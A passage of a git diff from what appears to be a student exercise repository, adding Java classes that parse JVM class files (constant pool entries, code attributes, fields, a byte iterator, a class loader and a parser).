+            int attributenameindex = codeAttrIter.nextU2ToInt();
+            if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LINE_NUM_TABLE)) {
+                LineNumberTable table = LineNumberTable.parse(codeAttrIter, attributenameindex);
+                codeAttr.setLineNumberTable(table);
+            } else if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LOCAL_VAR_TABLE)) {
+                LocalVariableTable table = LocalVariableTable.parse(codeAttrIter,attributenameindex);
+                codeAttr.setLocalVariableTable(table);
+            }else if(clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(STACK_MAP_TABLE)){
+                codeIter.back(2);
+                StackMapTable table = StackMapTable.parse(codeIter);
+                codeAttr.setStackMapTable(table);
+            }
+        }*/
+        for (int i = 0; i < attribute_count; i++) {
+            int attributenameindex = codeIter.nextU2ToInt();
+            if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LINE_NUM_TABLE)) {
+                LineNumberTable table = LineNumberTable.parse(codeIter, attributenameindex);
+                codeAttr.setLineNumberTable(table);
+            } else if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LOCAL_VAR_TABLE)) {
+                LocalVariableTable table = LocalVariableTable.parse(codeIter,attributenameindex);
+                codeAttr.setLocalVariableTable(table);
+            }else if(clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(STACK_MAP_TABLE)){
+                codeIter.back(2);
+                StackMapTable table = StackMapTable.parse(codeIter);
+                codeAttr.setStackMapTable(table);
+            }
+            
+        }
+
+
+
+
+            return codeAttr;
+    }
+
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..2130cdb021
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,70 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+    private static class LineNumberItem {
+        int startPC;
+        int lineNum;
+
+        public int getStartPC() {
+            return startPC;
+        }
+
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+
+        public int getLineNum() {
+            return lineNum;
+        }
+
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+        this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iter, int attribute_name_index) {
+        int ccc = (iter.codes.length);
+        long attribute_len = iter.nextU4ToInt();
+        int line_number_table_len = iter.nextU2ToInt();
+        LineNumberTable table = new LineNumberTable(attribute_name_index,(int)attribute_len);
+
+        /*byte[] bytes = iter.getBytes(line_number_table_len);
+        ByteCodeIterator lntIter = new ByteCodeIterator(bytes);*/
+
+
+        /*while (lntIter.isNotEnd()) {
+            //int c = lntIter.codes.length;
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(lntIter.nextU2ToInt());
+            item.setLineNum(lntIter.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }*/
+
+
+        for (int i = 0; i <line_number_table_len ; i++) {
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iter.nextU2ToInt());
+            item.setLineNum(iter.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..4f7096140f
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,46 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo {
+
+    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+    public LocalVariableTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static LocalVariableTable parse(ByteCodeIterator iter,int attribute_name_index) {
+		int attribute_len = iter.nextU2ToInt();
+
+		byte[] bytes = iter.getBytes(attribute_len);
+		ByteCodeIterator lvtIter = new ByteCodeIterator(bytes);
+
+		LocalVariableTable table = new LocalVariableTable(attribute_name_index,attribute_len);
+
+		while(lvtIter.isNotEnd()){
+		    LocalVariableItem item = new LocalVariableItem();
+		    item.setStartPC(lvtIter.nextU2ToInt());
+            item.setLength(lvtIter.nextU2ToInt());
+            item.setNameIndex(lvtIter.nextU2ToInt());
+            item.setDescIndex(lvtIter.nextU2ToInt());
+            item.setIndex(lvtIter.nextU2ToInt());
+            table.addLocalVariableItem(item);
+        }
+
+
+        return table;
+    }
+
+    private void addLocalVariableItem(LocalVariableItem item) {
+        this.items.add(item);
+    }
+
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..4755266987
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..dc4dfff971
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		int accessflag = iter.nextU2ToInt();
+		int nameindex = iter.nextU2ToInt();
+		int descriptorindex = iter.nextU2ToInt();
+		int attributecount = iter.nextU2ToInt();
+		if (attributecount > 0) {
+			throw new RuntimeException("该字段中有属性" + attributecount + "个，未进行解析");
+		}
+		Field field = new Field(accessflag, nameindex, descriptorindex, pool);
+		return field;
+
+	}
+	public String toString() {
+		return pool.getUTF8String(this.nameIndex)+":"+pool.getUTF8String(this.descriptorIndex);
+	}
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..40b792eda5
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,65 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	public byte[] codes;
+	public int pos = 0;
+
+	public ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+
+	public boolean isNotEnd(){
+		if(pos<codes.length){
+			return true;
+		}else{
+			return false;
+		}
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..33185d8175
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..03b965aa87
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,170 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+    public ClassFile parse(byte[] codes) {
+
+
+        ClassFile clzFile = new ClassFile();
+
+        ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+        String magicNumber = iter.nextU4ToHexString();
+
+        if (!"cafebabe".equals(magicNumber)) {
+            return null;
+        }
+
+        clzFile.setMinorVersion(iter.nextU2ToInt());
+        clzFile.setMajorVersion(iter.nextU2ToInt());
+
+        ConstantPool pool = parseConstantPool(iter);
+        clzFile.setConstPool(pool);
+
+        AccessFlag flag = parseAccessFlag(iter);
+        clzFile.setAccessFlag(flag);
+
+        ClassIndex clzIndex = parseClassInfex(iter);
+        clzFile.setClassIndex(clzIndex);
+
+        parseInterfaces(iter);
+
+        parseFields(clzFile, iter);
+
+        parseMethods(clzFile, iter);
+
+        return clzFile;
+    }
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+        AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+        // System.out.println("Is public class: " + flag.isPublicClass());
